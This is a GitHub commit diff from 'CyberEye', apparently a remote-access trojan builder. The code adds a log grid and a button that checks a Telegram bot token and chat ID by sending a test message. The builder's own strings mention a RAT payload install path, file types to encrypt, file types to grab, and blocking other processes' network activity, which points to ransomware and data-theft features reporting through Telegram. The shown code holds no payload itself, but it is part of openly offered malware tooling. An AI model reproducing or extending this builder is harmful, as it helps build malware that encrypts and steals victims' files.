Skip to content

Commit 4003043

Browse files
committed
Add DataGridView for logs and implement Telegram token/chat ID validation with log output on button click
1 parent dfdb10a commit 4003043

File tree

2 files changed

+179
-13
lines changed

2 files changed

+179
-13
lines changed

CyberEye.Client.Builder/FrmBuild.Designer.cs

Lines changed: 55 additions & 12 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

CyberEye.Client.Builder/FrmBuild.cs

Lines changed: 124 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,11 @@
88

99
using System;
1010
using System.Data;
11+
using System.Drawing;
1112
using System.IO;
1213
using System.Linq;
14+
using System.Net;
15+
using System.Net.Http;
1316
using System.Windows.Forms;
1417

1518
namespace CyberEye.Client.Builder
@@ -49,11 +52,39 @@ public partial class frmBuild : Form
4952
".pdf", ".txt", ".rtf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt",
5053
".sql", ".php", ".py", ".html", ".xml", ".json", ".csv"
5154
};
55+
Bitmap iconError = SystemIcons.Error.ToBitmap();
56+
Bitmap iconWarning = SystemIcons.Warning.ToBitmap();
57+
Bitmap iconInfo = SystemIcons.Information.ToBitmap();
58+
Bitmap iconSuccess = SystemIcons.Shield.ToBitmap();
5259
public frmBuild()
5360
{
5461
InitializeComponent();
62+
/*
63+
var imageList = new ImageList();
64+
imageList.ImageSize = new Size(16, 16);
65+
66+
imageList.Images.Add("error", System.Drawing.SystemIcons.Error.ToBitmap());
67+
imageList.Images.Add("warning", System.Drawing.SystemIcons.Warning.ToBitmap());
68+
imageList.Images.Add("info", System.Drawing.SystemIcons.Information.ToBitmap());
69+
imageList.Images.Add("success", System.Drawing.SystemIcons.Shield.ToBitmap());
70+
71+
listViewLog.SmallImageList = imageList;
72+
73+
listViewLog.View = View.Details;
74+
listViewLog.Columns.Add(" ", 20);
75+
listViewLog.Columns.Add("Time", 120);
76+
listViewLog.Columns.Add("Message", 400);
77+
*/
5578
}
56-
79+
/*private void AddLog(string typeKey, string message)
80+
{
81+
var item = new ListViewItem("");
82+
item.ImageKey = typeKey; // "error", "warning", "info", "success"
83+
item.SubItems.Add(DateTime.Now.ToString("HH:mm:ss"));
84+
item.SubItems.Add(message);
85+
listViewLog.Items.Add(item);
86+
}
87+
*/
5788
private void textBox2_TextChanged(object sender, EventArgs e)
5889
{
5990

@@ -104,6 +135,40 @@ private void frmBuild_Load(object sender, EventArgs e)
104135
RefreshListBox();
105136
RefreshGrabListBox();
106137
RefreshProcessListBox();
138+
139+
dataGridViewLog.RowTemplate.Height = 20;
140+
dataGridViewLog.AutoSizeRowsMode = DataGridViewAutoSizeRowsMode.AllCells;
141+
dataGridViewLog.DefaultCellStyle.WrapMode = DataGridViewTriState.True;
142+
dataGridViewLog.AllowUserToAddRows = false;
143+
dataGridViewLog.RowHeadersVisible = false;
144+
dataGridViewLog.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
145+
146+
DataGridViewImageColumn iconCol = new DataGridViewImageColumn();
147+
iconCol.HeaderText = "";
148+
iconCol.Width = 30;
149+
iconCol.ImageLayout = DataGridViewImageCellLayout.Zoom;
150+
dataGridViewLog.Columns.Add(iconCol);
151+
152+
dataGridViewLog.Columns.Add("Time", "Time");
153+
dataGridViewLog.Columns["Time"].Width = 100;
154+
155+
dataGridViewLog.Columns.Add("Message", "Message");
156+
dataGridViewLog.Columns["Message"].Width = 500;
157+
AddLog(iconWarning, "[WARNING] Functions \"Encryption File Types\", \"Grab File Types\", and \"Block Network Activity ProcessList\" are not working.\r\nDefault values embedded in the .exe will be used instead.\r\n[ALSO] Please use double backslashes (\\\\) in file (payload install path), e.g.:\r\n✅ C:\\\\Users\\\\CyberEye\\\\rat.exe instead of ❌ C:\\Users\\CyberEye\\rat.exe");
158+
/*int lastRowIndex = dataGridViewLog.Rows.Count - 1;
159+
if (lastRowIndex >= 0)
160+
{
161+
dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex;
162+
}
163+
*/
164+
dataGridViewLog.ClearSelection();
165+
dataGridViewLog.ReadOnly = true;
166+
//AddLog("warning", "[WARNING] Functions \"Encryption File Types\", \"Grab File Types\", and \"Block Network Activity ProcessList\" are not working.\r\nDefault values embedded in the .exe will be used instead.\r\n");
167+
}
168+
private void AddLog(Bitmap icon, string message)
169+
{
170+
string time = DateTime.Now.ToString("HH:mm:ss");
171+
dataGridViewLog.Rows.Add(icon, time, message);
107172
}
108173

109174
private void button5_Click(object sender, EventArgs e)
@@ -285,5 +350,63 @@ private void button1_Click(object sender, EventArgs e)
285350

286351
}
287352
}
353+
354+
private void pictureBox1_Click(object sender, EventArgs e)
355+
{
356+
357+
}
358+
359+
private void TestMsgRequestBtn_Click(object sender, EventArgs e)
360+
{
361+
if (string.IsNullOrWhiteSpace(textBox1.Text) || string.IsNullOrWhiteSpace(textBox2.Text) ||
362+
textBox1.Text == "TELEGRAM_TOKEN_HERE" || textBox2.Text == "TELEGRAM_CHAT_ID_HERE")
363+
{
364+
AddLog(iconError, "❌ Please fill in all fields correctly!");
365+
int lastRowIndex = dataGridViewLog.Rows.Count - 1;
366+
if (lastRowIndex >= 0)
367+
{
368+
dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex;
369+
}
370+
}
371+
else
372+
{
373+
try
374+
{
375+
using (WebClient client = new WebClient())
376+
{
377+
string url = "https://api.telegram.org/bot" + textBox1.Text +
378+
"/sendMessage?chat_id=" + textBox2.Text +
379+
"&text=" + Uri.EscapeDataString("✅ Connection Successful. Token and Chat ID are valid."); ;
380+
381+
client.DownloadString(url);
382+
AddLog(iconInfo, "✅ Connection Successful. Token and Chat ID are valid.");
383+
int lastRowIndex = dataGridViewLog.Rows.Count - 1;
384+
if (lastRowIndex >= 0)
385+
{
386+
dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex;
387+
}
388+
}
389+
}
390+
catch (WebException ex)
391+
{
392+
AddLog(iconError, "❌ Failed to send message. Check your token and chat ID.");
393+
AddLog(iconError, "Error: " + ex.Message);
394+
int lastRowIndex = dataGridViewLog.Rows.Count - 1;
395+
if (lastRowIndex >= 0)
396+
{
397+
dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex;
398+
}
399+
}
400+
catch (Exception ex)
401+
{
402+
AddLog(iconError, "❌ Unexpected error: " + ex.Message);
403+
int lastRowIndex = dataGridViewLog.Rows.Count - 1;
404+
if (lastRowIndex >= 0)
405+
{
406+
dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex;
407+
}
408+
}
409+
}
410+
}
288411
}
289412
}

0 commit comments

Comments
 (0)